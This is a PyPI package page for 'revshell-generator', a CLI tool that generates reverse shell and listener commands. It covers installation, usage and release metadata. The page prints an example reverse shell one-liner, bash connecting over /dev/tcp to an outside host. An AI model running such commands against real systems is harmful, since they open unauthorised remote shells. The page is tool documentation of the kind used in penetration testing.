Skip to main content

General Information

https://pypi.org/project/revshell-generator/

The Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.

Installation

You can either clone the repository or install the package from PyPI.

Clone the repository:

apt install python3 python3-pip
git clone https://github.com/totekuh/reverse-shell-generator
cd reverse-shell-generator
pip3 install .
python3 revshellgenerator.py -h

PyPI:

sudo apt install python3 python3-pip
sudo pip3 install revshell-generator
revshell-generator -h

Usage

You can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.

Running the Reverse Shell Generator

$ revshell-generator
Welcome to the reverse shell generator. Type 'help' or '?' to list available commands.

Setting Reverse IP Address and Port

revshell-generator --ip 192.168.1.10 --port 8080 --shell /bin/bash

You can also specify the IP address by providing a network interface name:

revshell-generator --ip eth0 --port 8080 --shell /bin/bash

In interactive mode, you can set these parameters using the ip, port, and shell commands:

>> ip 192.168.1.10
>> port 8080
>> shell /bin/bash

Listing Available Reverse Shell Commands

>> list reverse

Note: the indexes are used while choosing the command template.

Listing Available Listener Commands

>> list listeners

Generating Reverse Shell Commands

$ python3 revshellgenerator.py
>> get reverse 0

The above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:

bash -i >& /dev/tcp/192.168.1.10/8080 0>&1

Generating Listener Commands

>> get listeners 10

For more detailed instructions and specific commands, use the 'help' command followed by the command name, such as help list or help get.

Release files for revshell-generator 1.0.12

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for revshell-generator 1.0.12
File Size Uploaded
revshell-generator-1.0.12.tar.gz 17.6 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for revshell-generator 1.0.12
File Interpreter ABI Platform
revshell_generator-1.0.12-py3-none-any.whl Python 3 none any Details

Total release size: 34.7 kB

Release files / revshell-generator-1.0.12.tar.gz

Download URL revshell-generator-1.0.12.tar.gz
Size 17.6 kB
Tags Source
SHA-256 checksum
How to use checksums
c68da0d94f0a17d1803fdde4b945fe1f5c43258f52ceb9fe241fc1f462f2d9b4
BLAKE2b-256 checksum
How to use checksums
6065189de1d6a199965afddf08dfcf4781a723741c6a04143d70e1c76a804283
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.2 CPython/3.9.16

Release files / revshell_generator-1.0.12-py3-none-any.whl

Download URL revshell_generator-1.0.12-py3-none-any.whl
Size 17.1 kB
Tags Python 3
SHA-256 checksum
How to use checksums
0885d1ad78839b2dd0f66dd94a6d3f522335f8efef07458bc3b6788f080cb7ed
BLAKE2b-256 checksum
How to use checksums
39e1f50a423ab08834fd24642aa4a063b2f1e77548a093438a7882bff8e5ffe9
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.2 CPython/3.9.16

Release history Release notifications | RSS feed

This release

1.0.12 This release

2 release files

1.0.11

2 release files

1.0.10

2 release files

1.0.7

2 release files

1.0.6

2 release files

1.0.5

2 release files

1.0.4

2 release files

1.0.2

1 release file

1.0.1

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page